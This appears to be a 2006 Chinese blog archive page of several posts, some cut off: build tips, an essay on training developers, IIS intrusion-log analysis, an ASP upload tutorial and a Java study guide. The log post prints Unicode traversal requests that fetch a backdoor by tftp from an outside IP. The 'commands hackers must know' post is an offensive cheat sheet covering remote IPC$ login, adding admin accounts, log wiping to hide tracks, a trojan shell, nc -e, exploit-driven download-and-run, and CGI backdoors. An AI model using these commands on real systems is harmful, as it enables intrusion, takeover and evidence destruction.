3. 在make的安装过程中,往往有好多警告,这并不是错误,而是编写程序的人没有注意到的问题,如变量定义不恰当等,并不影响程序的安装.

4. 如果安装过程中不能顺利进行,要想还原到最初源代码状态. 使用命令 # make distclean 清除之前的配置,再进行新的配置.

最好的开发人员是培养出来,而非买来的

0

分类 : 社会文摘 | 发表时间 18-04-2006

认真考虑一下,得到最有天赋的项目开发人员的最佳方法是培养,而非购买。

  在阅读有关敏捷开发的材料时,我发现,无论是传统的软件开发技术,还是敏捷方法,都要高度依赖熟练的开发人员才能确保成功。这一事实让我触动。由于许多因素的影响,具有相似经历的开发人员的表现水平却相差很大,这点已为人们所接受;所以人们对优秀的开发人员比较关注也就不足为奇了。尽管如此,一个或一小群开发人员,利用“英雄模式”开发,通过他们的奉献精神与坚韧毅力,还是完成了许多开发工作。

  很明显,我们需要优秀的开发人员。但问题是,到哪去找优秀的开发人员呢?

  十几年来我一直参与招聘工作,我可以毫不迟疑地告诉你:有可能找到最优秀的开发人员,但是可能性不大。这不是一件容易的事,即使读完一千份简历,可能也只能找到一两个真正优秀的开发人员。

  认真考虑一下,你会发现,只有通过培养,而不是购买,才能得到最优秀的开发人员。

  什么造就最优秀的开发人员?

  关于是什么造就最优秀的开发人员,大家持不同的看法。不管是敏捷还是传统的开发技巧都需要开发人员拥有稍异于人的东西。但是,无论开发人员应用哪种技巧,这都归结为一个词:思考。

  位于Bloom认知技能教育目标分类最底层的是知识。即回想(或识别)数据与信息。应用在开发方面,这就意味着识别C#语法或回想出执行循环的正确语法。

  位于认知分类最顶层的是综合与评估。综合指能够合成不同的因素以形成全新的解决方案。而评估是指对观念、方法或材料做出判断的能力。在工作过程中,开发人员需要不断地应用这些高层次的认知能力。

  许多人认为,与描述认知过程的差异相比,将这一观念表达为思考更为自然。通常,对高层次的观念(例如如何综合片段来形成解决方案)所做的思考越多,开发人员就更优秀。

  海底捞针

  在完全放弃招聘(购买)最优秀的开发人员之前,我们先通过检验专业技能来了解一下招聘过程。我例行公事地对应聘开发职位的候选人进行了一次口头测试。由于我面试的大多数开发人员需要能够熟练地操作数据库,我问他们一个简单的问题:

  给你一个带客户id域与名称的客户表,以及一个带序号id,客户id与其它细节的序号索引表,用什么查询可返回不带序号的客户表?

  此问题的答案需要应用外部连接(outer join)知识。(在SQL-87语法中,你可以应用*=,但这一答案正日益少见。)我的非正式统计表明,答对此问题的人数在10%以下。平均来说,我面试的开发人员拥有大专学历,有1到2年的工作经验。但是,据我的观察,多年的工作经验与他们是否答对此问题关系不大。

  对我而言,无力回答此问题表明开发人员并不完全了解SQL所要求的以集合为基础的逻辑方式。我认为这是一个优秀开发人员的基本技能。

  另一个问题更有趣,因为它没有正确答案:

  你最喜欢微软.NET中的哪项功能?

  明显地,你可以在这个问题中插入任何技术。问题的答案可以清楚地告诉你开发人员的思考方向。如果它告诉我是IntelliSense(帮助你记忆对象与方法界面的Visual Studio功能),我就知道他们主要关心如何将代码加入编辑器,这并不是优秀开发人员的思考方式。顺便说一下,如果他们给出那个答案,他们可获得“加击”。(另一击?即“你还喜欢哪项功能?”)

  我在寻找一类表明他们正在思考文本编辑框以外的事情的答案。我在寻找这样的答案:“因为运行时间类型的信息,可编写灵活代码的能力。”这样的答案表明他们对工作进行了深入思考,这是成为最优秀的开发人员的基本条件。

  “你最不喜欢什么?”这个问题同样富于启示。“忘记C#中的分号”这样的答案让我怀疑候选开发人员是否达到正确的思考层次。“无力有效应用垃圾收集器”这样的答案表明他们既不了解平台的需要,也缺乏处理复杂问题的经验。

  问题“你最喜欢/不喜欢什么?”的回答比SQL问题的回答要好得多,但仍然并不乐观。参加面试的开发人员,超过70%回答的是琐碎的问题,其它10%左右的答案表明他们要么编码的水平不高,要么缺乏高层次的思考。

  最终的结果表明,要找到最优秀的开发人员几乎是不可能的事情。实际上,我也可能只招聘到2到3个可称之为最佳开发人员的人。

  培养优秀的开发人员

  找到有潜质,即好奇心强、个性好学的开发人员要更容易一些。这些开发人员确实希望在自己与他人的生活中发挥重要的作用。他们可能并不了解关系数据库,但他们乐于学习。他们带来学习的热情,让周围的人充满活力。

  在许多机构,这种热情却以服从的名义受到压制。“我们一样那样做”的心态打消了任何改善状况的尝试。因此,开发人员常常感到困惑。因为组织一方面声明希望组建世界级的开发团队(每个组织都希望拥有这样的团队);另一方面,他们又不愿意做出变革。

  但是,我们可以采取行动,以保证新开发人员的干劲与期望不会受到压制。以下是我就培养优秀开发人员提出的一些建议:

  指导:指定一个导师来帮助开发人员。这个人必须是一个资深开发人员,开发权威或关心团队和进程改善、乐于助人的构架师。这个人不应是开发人员的直接领导或经理(如果可能的话)。指导交谈应该以开发人员,而不是组织的需求为中心。

  代码审查:代码审查是提高开发能力的有效手段。但很多组织却极少这样做。另外,人们很少把它当作是学习机会,而把它当作贬低开发人员的时机。请进行代码审查,把它当作培训与教育,而非压制的手段。

  渐进体验:向开发人员提供增量分配来鼓励他们不断成长。由于我们无法控制将来的项目,这可能是最难以执行的方法。但是,提供尽可能多的渐进分配结构将会取得长期回报。

  学习挑战:除了渐进分配以外,还要找出其它方式激励开发人员学习尽可能多的知识,即使这些知识不能立即起作用。例如,如果你有一家网络开发商店,鼓励开发人员学习智能客户(Smart Client)技术,以帮助开发人员养成学习习惯。

  内部培养

  尽管你想为下一个项目找到优秀的开发人员,但优秀的开发人员并不容易找到。项目的成功主要还是依靠现在团队里的开发人员。他们越优秀,你成功的机会就越大。找到技术熟练的可靠人才来完成你的需求肯定会很困难。自己培养开发人员,是获得你所需要的开发人员唯一现实的方法。

快速掌握典型入侵日志分析

0

分类 : 系统安全 | 发表时间 16-04-2006

如今各式各样的Windows漏洞层出不穷,五花八门的入侵工具更是令人眼花缭乱,稍微懂点网络知识的人都可以利用各种入侵工具进行入侵,这可给我们的网管带来了很大的麻烦,虽然经过精心配置的服务器可以抵御大部分入侵,但随着不断新出的漏洞,再高明的网管也不敢保证一台务器长时间不会被侵入,所以,安全配置服务器并不能永远阻止黑客入侵,而如何检测入侵者行动以保证服务器安全性就在这样的情况下显得非常重要。

  日志文件作为微软Windows系列操作系统中的一个特殊文件,在安全方面具有无可替代的价值。它每天为我们忠实地记录下系统所发生一切事件,利用它可以使系统管理员快速对潜在的系统入侵作出记录和预测,但遗憾的是目前绝大多数的人都忽略了它的存在,反而是因为黑客们光临才会使我们想起这个重要的系统日志文件,很有讽刺意味。

  在这里我们就不去讲什么日志文件的默认位置、常见备份方法等基本技巧了,这样的东西黑防以前讲得很清楚了,大家可以翻看黑防以前的杂志学习这些东西,我们今天来看看如何分析常见的日志文件吧!

  1.FTP日志分析

  FTP日志和WWW日志在默认情况下,每天生成一个日志文件,包含了该日的一切记录,文件名通常为ex(年份)(月份)(日期)。例如ex040419,就是2004年4月19日产生的日志,用记事本可直接打开,普通的有入侵行为的日志一般是这样的:

#Software: Microsoft Internet Information Services 5.0(微软IIS5.0)
#Version: 1.0 (版本1.0)
#Date: 20040419 0315 (服务启动时间日期)
#Fields: time cip csmethod csuristem scstatus
0315 127.0.0.1 [1]USER administator 331(IP地址为127.0.0.1用户名为administator试图登录)
0318 127.0.0.1 [1]PASS – 530(登录失败)
032:04 127.0.0.1 [1]USER nt 331(IP地址为127.0.0.1用户名为nt的用户试图登录)
032:06 127.0.0.1 [1]PASS – 530(登录失败)
032:09 127.0.0.1 [1]USER cyz 331(IP地址为127.0.0.1用户名为cyz的用户试图登录)
0322 127.0.0.1 [1]PASS – 530(登录失败)
0322 127.0.0.1 [1]USER administrator 331(IP地址为127.0.0.1用户名为administrator试图登录)
0324 127.0.0.1 [1]PASS – 230(登录成功)
0321 127.0.0.1 [1]MKD nt 550(新建目录失败)
0325 127.0.0.1 [1]QUIT – 550(退出FTP程序)

  从日志里就能看出IP地址为127.0.0.1的用户一直试图登录系统,换了四次用户名和密码才成功,管理员立即就可以得知这个IP至少有入侵企图!而他的入侵时间、IP地址以及探测的用户名都很清楚的记录在日志上。如上例入侵者最终是用Administrator用户名进入的,那么就要考虑此用户名是不是密码失窃?还是被别人利用?接下来就要想想系统出什么问题了。

  2.WWW日志分析

  WWW服务同FTP服务一样,产生的日志也是在%systemroot%\sys tem32\LogFiles\W3SVC1目录下,默认是每天一个日志文件。这里需要特别说明一下,因为Web的日志和其他日志不同,它的分析要细致得多,需要管理员有丰富的入侵、防护知识,并且要足够的细心,不然,很容易遗漏那种很简单的日志,而通常这样的日志又是非常关键的。由于我们不可能一个一个分析,所以这里举个简单例子:

#Software: Microsoft Internet Information Services 5.0
#Version: 1.0
#Date: 20040419 03:091
#Fields: date time cip csusername sip sport csmethod csuristem csuriquery scstatus cs(UserAgent)
20040419 03:091 192.168.1.26 192.168.1.37 80 GET /iisstart.asp 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)
20040419 03:094 192.168.1.26 192.168.1.37 80 GET /pagerror.gif 200 Mozilla/4.0+(compatible;+MSIE+5.0;+Windows+98;+DigExt)

  通过分析第六行,可以看出2004年5月19日,IP地址为192.168.1.26的用户通过访问IP地址为192.168.1.37机器的80端口,查看了一个页面iisstart.asp,这位用户的浏览器为compatible;+MSIE+5.0;+Windows+98+DigExt,有经验的管理员就可通过安全日志、FTP日志和WWW日志来确定入侵者的IP地址以及入侵时间。

  对现在非常常见的SQL注入式攻击,通过对put、get的检查,也可以大概判断是那个页面出了问题,从而修补。

  3.HTTPD事务日志的分析

  Microsoft的IIS 5自公布到现在,被黑客利用的漏洞多不胜数,像.ida/.idq、unicode、WebDavx3和一些未知的漏洞,我们分析日志的目的就是为了分析黑客入侵的行为,对于没有打好补丁包的系统被黑客成功入侵的日志记录分别对应如下。为了给大家介绍一个比较醒目的介绍,专门配置了个“古老”的服务器,用旧漏洞给大家做个演示,很容易触类旁通就懂其它了。

  (1)unicode漏洞入侵日志记录

  这个是个非常经典的漏洞了,要找这样的服务器估计得去国外慢慢找了,但是因为它的日志是最经典的一个,所以我们这里特别拿它来做个示范。

  我们打开IIS5的Web服务的日志文件,日志文件默认位置在%systemroot%\system32\LogFiles\文件夹下,如图1所示是一个典型的Unicode漏洞入侵行为的日志记录,对于正常的Web访问,是通过80端口用GET命令获取Web数据,但通过非法的字符编码可绕过字符验证而得到不应该得到的信息。但补上相应的补丁可堵上此漏洞。如图一所示。

  我们配合入侵来看下这样的记录:通过下面的编码我们在入侵的时候可以查看目标机的目录文件:

GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe /c+dir 200

  则日志中会记录下此访问行为:

2004-04-19 08:47:47 192.168.0.1 – 192.168.0.218 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/c+dir 200 -

  看到了吗?我们的日志中记录地一清二楚,来自192.168.0.1的攻击者查看我们的目录。下面一行是向我们的机器传送后门程序的日志记录:

2004-04-19 08:47:47 192.168.0.1 – 192.168.0.218 80 GET
/_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe
/c+tftp%20-i%2061.48.10.129%20GET%20cool.dll%20c:\httpodbc.dll
502 –

  看到了吧?记录非常详细的,系统里面那个程序在响应都记录了下来,这样我们分析入侵行为就好办了。

  (2)WebDavx3远程溢出日志记录

  过去一段时间有名的Wevdavx3漏洞是应用最广泛的,如果系统遭受了此远程溢出的攻击行为,则日志记录如图二所示。

2004-04-19 07:20:13 192.168.0.218 – 192.168.0.218 80 LOCK
/AAAAA……

  这表示我们的Web服务受到了来自192.168.0.218的攻击,并锁定(即关闭)了WEB服务,后面的一些乱码字符是在溢出攻击时使用的偏移位猜过程。

  上面的几种日杂都记录了有入侵行为的IP地址,但此IP地址说不定就是攻击者使用了跳板,也就是说此IP很可能是“肉鸡”而不是攻击者的IP,遇到这样的情况,我们再查看其他日志文件,还是有可能追查出攻击者的位置的,但这个就完全靠管理员的经验了。

  4.日志文件的移位保护

  通过上面的几个方法,大家应该可以检测普通的系统攻击了,但话说回来,如果上面的攻击任何一个成功了,那现在我们都看不到日志了,早被入侵者清空了,所以,为了防患于未然,我们还是针对常见的删除日志的方法,把日志挪挪吧。

  好多文章介绍对事件日

ASP文件上传原理分析及实现实例

0

分类 : 心情随笔 | 发表时间 28-03-2006

摘要:在基于/的应用环境中,上传各种类型的文件一直是困扰用户文件管理应用的难题之一。在HTTP中上传文件有三种机制:RFC1867,PUT和WebDAV。常用的实现方法是利用在RFC1867中引入的一个新类型:File以及ADO Stream对象。本文对上述上传方法及实现原理作了论述,并给出了具体解决实例。

  ASP FILE对象

  当前,基于/模式的应用比较流行。当用户需要将文件传输到上时,常用方法之一是运行FTP并将每个用户的FTP默认目录设为用户的Web主目录,这样用户就能运行FTP客户程序并上传文件到指定的 Web目录。这就要求用户必须懂得如何使用FTP客户程序。因此,这种解决方案仅对熟悉FTP且富有经验的用户来说是可行的。 如果我们能把文件上传功能与Web集成,使用户仅用Web就能完成上传任务,这对于他们来说将是非常方便的。但是,一直以来,由于File System Object的仅能传送文本文件的局限,所以ASP最大的难题就是文件上传问题。下面介绍的就是如何在基于HTTP协议的网页中实现文件的上传。

  一.通过HTTP上传的三种机制

  通过HTTP上传有三种机制:RFC1867, PUT 和 WebDAV。

  PUT 是在HTTP 1.1引入了一个新的HTTP动词。当web收到一个HTTP PUT和对象名字,它将会验证用户,接收HTTP流的内容,并把它直接存入web。由于这可能会对一个web站点造成破坏,并且还会失去HTTP最大的优势:可编程性。在PUT的情况下,自己处理请求:没有空间让CGI或者ASP应用程序介入。唯一让你的应用程序捕获PUT的方法是在低层操作,ISAPI过滤层。由于相应的原因,PUT的应用很有限。

  而WebDAV允许web内容的分布式认证与翻译。它引入了几种新的HTTP动词,允许通过HTTP上传,锁定/解锁,登记/检验web内容。Office 2000中的”Save to web” 就是通过WebDAV来实现的。如果你所感兴趣的一切都是上传内容,WebDAV应用得非常出色,它解决了很多问题。 然而,如果你需要在你的web应用程序里面上传文件,WebDAV对你就毫无用处可言。象HTTP PUT一样,那些WebDAV的动词是被解释的,而不是web应用程序。你需要工作在ISAPI过滤层来访问WebDAV的这些动词,并在你的应用程序中解释内容。

  RFC1867 (http://www.ietf.org/rfc/rfc1867.txt) 最终被W3C在HTML3.2中接受前,是作为一种建议标准。它是一种非常简单但是功能很强大的想法:在表单字段中定义一个新类型。





  并且在表单本身加入了不同的编码方案,不再使用典型的:




  而是使用:

这种编码方案在传送大量数据的时候,比起缺省的”application/x-url-encoded”表单编码方案,显得效率要高得多。URL编码只有很有限的字符集,使用任何超出字符集的字符,必须用’%nn’代替,这里的nn表示相应的2个十六进制数字。例如,即使是普通的空格字符也要用’%20′代替。而RFC1867使用多部分MIME编码,就象通常在e-mail消息中看到的那样,不编码来传送大量数据,而只是在数据周围加上很少的简单但实用的头部。主要的厂商都采用了建议的”浏览…”按钮,用户能很容易的使用本地”打开文件…” 对话框选择要上传的文件。

  RFC1867仍然将大多数文件上传的灵活方法留给了你的web应用程序。PUT用得很有限。WebDAV对内容的作者很有用,比如FrontPage用户,但是对想在web应用程序中加入文件上传的web开发者来说很少用到。因此,RFC1867是在web应用程序中加入文件上传的最好的办法。

  在实际应用中,免费提供了Posting Acceptor 。ASP不懂”multipart/form-data” 编码方案。取而代之,提供了Posting Acceptor ,Posting Acceptor是一种在上传完成后,接受REPOST到一个ASP页的ISAPI应用程序。

  Software Artisans的SA-FileUp是最早的商业Active Server之一。几经改进,现在作为一个纯粹的ASP存在。

  二.基于ASP的文件上传实现原理分析

  基本原理是:采用ADO Stream对象的BinaryRead方法将FORM中的所有数据读出,从中截取出所需的文件数据,以二进制文件方式存盘。

  下面是上传文件页面的一个例子(upload.htm):






Action=”Upload.asp”>










程序中使用了文件对象,这样在Upload.asp中采用BinaryRead方法读来的原始数据就不仅仅是选择的文件本身的数据,还包含该文件在用户硬盘上的路径、类型、提交页面的表单等相关信息的描述,这样我们就需从中提取出文件的具体内容。根据分析,数据的头部信息与数据的分界线是两对回车换行符,尾部也有分隔信息,我们可以采用类似以下的方法获取文件数据。

Dim FormData.FormSize,DataStart,CLStr,DivStr
FormSize=Request.TotalBytes
FormData=Request.BinaryRead(FormSize)
CLStr=ChrB(13)&ChrB(10)
DataStart=InStrB(FormData.CLStr&CLStr)+4
’4是两对回车换行符的长度
DivStr=LeftB(FormData,InStrB(FormData,CLStr)-1)
DataSize=InStrB(DataStart+1,FormData,DivStr)-DataStart-2
FormData=MidB(FormData,DataStart,DataSize)


  FormData就是文件的内容了。

  中间根据需要,可进行相应的处理。最后的工作就是将文件保存了。保存的方法可以有两种:一种是利用VB或VC之类程序中的二进制文件操作方法,在工程中加入适当的类型库,最终编译成DLL文件,使用时再将该DLL文件注册就可以了。文件存贮程序如下:

Public Function SaveFile(Pathname As String) As String
    Dim objContext As ObjectContext
    Dim objRequest As Request
 Set objContext=GetObjectContext()
    Set objRequest=objContext(“Request”)
    ’以下的一段代码是进行文件存贮的有关操作
 Dim FormData() As Byte,CLStr,DivStr
    Dim DataStart As Long,DataSize As Long
    DataSize=objRequest.TotalBytes
    Redim FormData(DataSize-1)
    FormData=objRequest.BinaryRead(DataSize)
    CLStr=ChrB(13) & ChrB(10)
    DataStart=InStrB(FormData,CLStr & CLStr)+4
    DivStr=LeftB(FormData,InStrB(FormData,CLStr)-1)
    DataSize=InStrB(DataStart+1,FormData,DivStr)-DataStart-2
    FormData=MidB(FormData,DataStart,DataSize)
    ’创建一个二进制文件并将FormData写入其中
    Open Pathname For Binary As 1
    Put #1,,FormData
    Close #1
    SaveFile=”OK!”
   End Function

第二种方法是利用ADO STREAM中提供的二进制文件操作方法来完成,保存文件的语句是: StreamOBJ.SaveToFile (fileName,2)。在 这种操作中,我们可以将有关的操作存放在一个类文件中,在应用时,直接将该类文件包含在ASP程序中就可以了。具体处理方法,请参阅有关介绍。

  三.文件上传实现方法实例

  实现文件上传可使用或无方式。对于类,比如说microsoft posting acceptor(简称mpa),就是公司发布的一个免费,这类的安装也比较方便。对于的mpa,运行它的安装文件就可以了。而一般的dll形式的,我们则需要进行注册。例如,要使用aspcnUP.dll,只要在Window 2000上

网管和黑客都必须知道的命令

0

分类 : 娱乐休闲 | 发表时间 26-03-2006

常用的几条NET命令:

  (与远程主机建立空管连接) net use \\IP地址\ipc$ “” /use:”"

  (以管理员身份登录远程主机) net use \\IP地址\ipc$ “密码” /use:”Administrator”

  (传送文件到远程主机WINNT目录下)copy 本机目录路径\程序 \\IP地址\admin$

  (查看远程主机时间) net time \\IP地址

  (定时启动某个程序) at \\IP地址 02:18 readme.exe

  (查看共享) net view \\IP地址

  (查看netbios工作组列表) nbtstat -A IP地址

  (将远程主机C盘映射为自己的F盘) net use f: \\IP地址\c$ “”/user:”Administrator”

  (这两条把自己增加到管理员组): net user 用户名 密码 /add

  net localgroup Administrators 用户名 /add

  (断开连接) net use \\IP地址\ipc$ /delete

  扫尾:

  del C:\winnt\system32\logfiles\*.*

  del C:\winnt\ssytem32\config\*.evt

  del C:\winnt\system32\dtclog\*.*

  del C:\winnt\system32\*.log

  del C:\winnt\system32\*.txt

  del C:\winnt\*.txt

  del C:\winnt\*.log

  一、netsvc.exe

  下面的命令分别是列出主机上的服务项目、查寻和远程启动主机的“时间任务”服务:

  netsvc /list \\IP地址

  netsvc schedule \\IP地址 /query

  netsvc \\IP地址 schedule /start

  二、OpenTelnet.exe

  远程启动主机的Telnet服务,并绑定端口到7878,例如:

  OpenTelnet \\IP地址 用户名 密码 1 7878

  然后就可以telnet到主机的7878端口,进入DOS方式下:

  telnet IP地址 7878


  三、winshell.exe

  一个非常小的木马(不到6K),telnet到主机的7878端口,输入密码winshell,当看到CMD>后,可打下面的命令:

  p Path (查看winshell主程序的路径信息)

  b reBoot (重新启动机器)

  d shutDown (关闭机器)

  s Shell (执行后你就会看到可爱的“C:\>”)

  x eXit (退出本次登录会话,此命令并不终止winshell的运行)

  CMD> http://…/srv.exe (通过http下载其他网站上的文件到运行winshell的机器上)

  四、3389登陆器,GUI方式登录远程主机的

  五、elsave.exe

  事件日志清除工具

  elsave -s \\IP地址 -l “application” -C

  elsave -s \\IP地址 -l “system” -C

  elsave -s \\IP地址 -l “security” -C

  执行后成功清除应用程序日志,系统日志,安全日志

  六、hbulot.exe

  开启win2kserver和winxp的3389服务

  hbulot [/r]

  使用/r表示安装完成后自动重起目标使设置生效。

  七、nc.exe(netcat.exe)

  一个很好的工具,一些脚本程序都要用到它,也可做溢出后的连接用。

  想要连接到某处: nc [-options] hostname port[s] [ports] …

  绑定端口等待连接: nc -l -p port [-options] [hostname] [port]

  参数:

  -e prog 程序重定向,一旦连接,就执行 [危险!!]

  -g gateway source-routing hop point[s], up to 8

  -G num source-routing pointer: 4, 8, 12, …

  -h 帮助信息

  -i secs 延时的间隔

  -l 监听模式,用于入站连接

  -n 指定数字的IP地址,不能用hostname

  -o file 记录16进制的传输

  -p port 本地端口号

  -r 任意指定本地及远程端口

  -s addr 本地源地址

  -u UDP模式

  -v 详细输出——用两个-v可得到更详细的内容

  -w secs timeout的时间

  -z 将输入输出关掉——用于扫描时 八、TFTPD32.EXE

  把自己的电脑临时变为一台FTP服务器,让肉鸡来下载文件,tftp命令要在肉鸡上执行,通常要利用Unicode漏洞或telnet到肉鸡,例如:

  http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c tftp -i 本机IP地址 get 文件名 c:\winnt\system32\文件名

  然后可以直接令文件运行:

  http://IP地址/s cripts/..%255c..%255c/winnt/system32/cmd.exe?/c+文件名

  九、prihack.exe是IIS的printer远程缓冲区溢出工具。

  idqover.exe是溢出idq的,选择“溢出后在一个端口监听”,然后用telnet连接它的监听端口,如果溢出成功,一连它的端口,绑定的命令马上执行。xploit.exe是一个图形界面的ida溢出,成功以后winxp下需要打winxp。

  一○、ntis.exe、cmd.exe和cmdasp.asp是三个cgi-backdoor,exe要放到cgi-bin目录下,asp放到有ASP执行权限的目录。然后用IE浏览器连接。

  一、一 Xscan命令行运行参数说明:

  在检测过程中,按”[空格]“键可以查看各线程状态及扫描进度,按”q”键保存当前数据后提前退出程序,按”"强行关闭程序。

  1.命令格式: xscan -host <起始IP>[-<终止IP>] <检测项目> [其他选项]

  xscan -file <主机列表文件名> <检测项目> [其他选项]

  其中<检测项目> 含义如下:

  -port : 检测常用服务的端口状态(可通过\dat\config.ini文件的”PORT-SCAN-OPTIONS\PORT-LIST”项定制待检测端口列表);

  -ftp : 检测FTP弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件);

  -ntpass : 检测NT-Server弱口令(可通过\dat\config.ini文件设置用户名/密码字典文件);

  -cgi : 检测CGI漏洞(可通过\dat\config.ini文件的”CGI-ENCODE\encode_type”项设置编码方案);

  -iis : 检测IIS漏洞(可通过\dat\config.ini文件的”CGI-ENCODE\encode_type”项设置编码方案);

  [其他选项] 含义如下:

  -v: 显示详细扫描进度

  -p: 跳过Ping不通的主机

  -o: 跳过没有检测到开放端口的主机

  -t <并发线程数量[,并发主机数量]>: 指定最大并发线程数量和并发主机数量, 默认数量为100,10

Java学习从入门到精通

0

分类 : 系统安全 | 发表时间 23-03-2006

Java Learning Path (一)、工具篇

一、 JDK (Java Development Kit)

JDK是整个Java的核心,包括了Java运行环境(Java Runtime Envirnment),一堆Java工具和Java基础的类库(rt.jar)。不论什么Java应用服务器实质都是内置了某个版本的JDK。因此掌握JDK是学好Java的第一步。最主流的JDK是Sun公司发布的JDK,除了Sun之外,还有很多公司和组织都开发了自己的JDK,例如IBM公司开发的JDK,BEA公司的Jrocket,还有GNU组织开发的JDK等等。其中IBM的JDK包含的JVM(Java Virtual Machine)运行效率要比Sun JDK包含的JVM高出许多。而专门运行在x86平台的Jrocket在服务端运行效率也要比Sun JDK好很多。但不管怎么说,我们还是需要先把Sun JDK掌握好。

1、 JDK的下载和安装
JDK又叫做J2SE(Java2 SDK Standard Edition),可以从Sun的Java网站上下载到,http://java.sun.com/j2se/downloads.html ;,JDK当前最新的版本是J2SDK1.4.2,建议下载该版本的JDK,下载页面在这里:http://java.sun.com/j2se/1.4.2/download.html。

下载好的JDK是一个可执行安装程序,默认安装完毕后会在C:\Program Files\Java\目录下安装一套JRE(供浏览器来使用),在C:\j2sdk1.4.2下安装一套JDK(也包括一套JRE)。然后我们需要在环境变量PATH的最前面增加java的路径C:\j2sdk1.4.2\bin。这样JDK就安装好了。

2、 JDK的命令工具
JDK的最重要命令行工具:
java: 启动JVM执行class
javac: Java编译器
jar: Java打包工具
javadoc: Java文档生成器
这些命令行必须要非常非常熟悉,对于每个参数都要很精通才行。对于这些命令的学习,JDK Documentation上有详细的文档。

二、 JDK Documentation

Documentation在JDK的下载页面也有下载连接,建议同时下载Documentation。Documentation是最最重要的编程手册,涵盖了整个Java所有方面的内容的描述。可以这样说,学习Java编程,大部分时间都是花在看这个Documentation上面的。我是随身携带的,写Java代码的时候,随时查看,须臾不离手。

三、 应用服务器(App Server)

App Server是运行Java企业组件的平台,构成了应用软件的主要运行环境。当前主流的App Server是BEA公司的Weblogic Server和IBM公司的Websphere以及免费的Jboss,选择其中一个进行学习就可以了,个人推荐Weblogic,因为它的体系结构更加干净,开发和部署更加方便,是Java企业软件开发人员首选的开发平台。下面简要介绍几种常用的App Server:

1、 Tomcat
Tomcat严格意义上并不是一个真正的App Server,它只是一个可以支持运行Serlvet/JSP的Web容器,不过Tomcat也扩展了一些App Server的功能,如JNDI,数据库连接池,用户事务处理等等。Tomcat被非常广泛的应用在中小规模的Java Web应用中,因此本文做一点下载、安装和配置Tomcat的介绍:

Tomcat是Apache组织下Jakarta项目下的一个子项目,它的主网站是:http://jakarta.apache.org/tomcat/ ;,Tomcat最新版本是Tomcat4.1.27,软件下载的连接是:http://www.apache.org/dist/jakarta/tomcat-4/binaries/ ;。

下载Tomcat既可以直接下载zip包,也可以下载exe安装包(个人建议zip更干净些),不管哪种情况,下载完毕安装好以后(zip直接解压缩就可以了)。需要设置两个环境变量:

JAVA_HOME=C:\j2sdk1.4.2
CATALINA_HOME=D:\tomcat4 (你的Tomcat安装目录

这样就安装好了,启动Tomcat运行CATALINA_HOME\bin\startup.bat,关闭Tomcat运行shutdown.bat脚本。Tomcat启动以后,默认使用8080端口,因此可以用浏览器访问http://localhost:8080来测试Tomcat是否正常启动。

Tomcat提供了两个Web界面的管理工具,URL分别是:
http://localhost:8080/admin/index.jsp ;
http://localhost:8080/manager/html ;
在启用这两个管理工具之前,先需要手工配置一下管理员用户和口令。用一个文本工具打开CATALINA_HOME\conf\tomcat-users.xml这个文件,加入如下几行:





这样用户“robbin”就具备了超级管理员权限。重新启动Tomcat以后,你就可以使用该用户来登陆如上的两个管理工具,通过Web方式进行Tomcat的配置和管理了。

2、 BEA Weblogic
Weblogic可以到BEA的网站上免费注册之后下载到最新的Weblogic8.1企业版,License可以免费使用1年时间,其实这已经完全足够了。Weblogic的下载连接:http://commerce.bea.com/index.jsp,Weblogic的在线文档:http://edocs.bea.com/ ;。

3、 IBM Webshpere
Websphere同样可以下载到免费的试用版本,到IBM的developerWorks网站可以看到Websphere试用产品的下载和相关的Websphere的资料,developerWorks中文网站的连接是:http://www-900.ibm.com/developerWorks/cn/wsdd/ ;,Websphere的下载连接:http://www7b.software.ibm.com/wsdd/downloads/WASsupport.html ;。

4、 Jboss
Jboss是免费开源的App Server,可以免费的从Jboss网站下载:http://www.jboss.org/index.html,然而Jboss的文档是不免费,需要花钱购买,所以为我们学习Jboss设置了一定的障碍。在Jdon上有几篇不错的Jboss配置文档,可以用来参考:http://www.jdon.com/idea.html ;

四、 Java应用的运行环境

Java的应用可以简单分为以下几个方面:

1、 Java的桌面应用
桌面应用一般仅仅需要JRE的支持就足够了。

2、 Java Web应用
Java的Web应用至少需要安装JDK和一个web容器(例如Tomcat),以及一个多用户数据库,Web应用至少分为三层:
Browser层:浏览器显示用户页面
Web层:运行Servlet/JSP
DB层:后端数据库,向Java程序提供数据访问服务

3、 Java企业级应用
企业级应用比较复杂,可以扩展到n层,最简单情况会分为4层:
Browser层:浏览器显示用户页面
Client层:Java客户端图形程序(或者嵌入式设备的程序)直接和Web层或者EJB层交互
Web层:运行Servlet/JSP
EJB层:运行EJB,完成业务逻辑运算
DB层:后端数据库,向Java程序提供数据访问服务

4、 Java嵌入式应用
Java嵌入式应用是一个方兴未艾的领域,从事嵌入式开发,需要从Sun下载J2ME开发包,J2ME包含了嵌入式设备专用虚拟机KVM,和普通的JDK中包含的JVM有所不同。另外还需要到特定的嵌入式厂商那里下载模拟器。

Java Learning Path(二)、书籍篇

学习一门新的知识,不可能指望只看一本,或者两本书就能够完全掌握。需要有一个循序渐进的阅读过程。我推荐Oreilly出版的Java系列书籍。

在这里我只想补充一点看法,很多人学习Java是从《Thinking in Java》这本书入手的,但是我认为这本书是不适合初学者的。我认为正确的使用这本书的方法应该是作为辅助的读物。《Thinking in Java》并不是在完整的介绍Java的整个体系,而是一种跳跃式的写作方法,是一种类似tips的方法来对Java很多知识点进行了深入的分析和解释。

对于初学者来说,最好是找一本Java入门的书籍,但是比较完整的循序的介绍Java的语法,面向对象的特性,核心类库等等,在看这本书的同时,可以同步来看《Thinking in Java》,来加深对Java的理解和原理的运用,同时又可以完整的了解Java的整个体系。

对于Java的入门书籍,蔡学镛推荐的是Oreilly的《Exploring Java, 2nd Edition》 或者《
Java in a Nutshell,2nd Edition(针对C++背景)》,我并没有看过这两本书。其实我觉得电子工业出版社的《Java 2编程详解》或者《Java 2从入门到精通》就很不错。

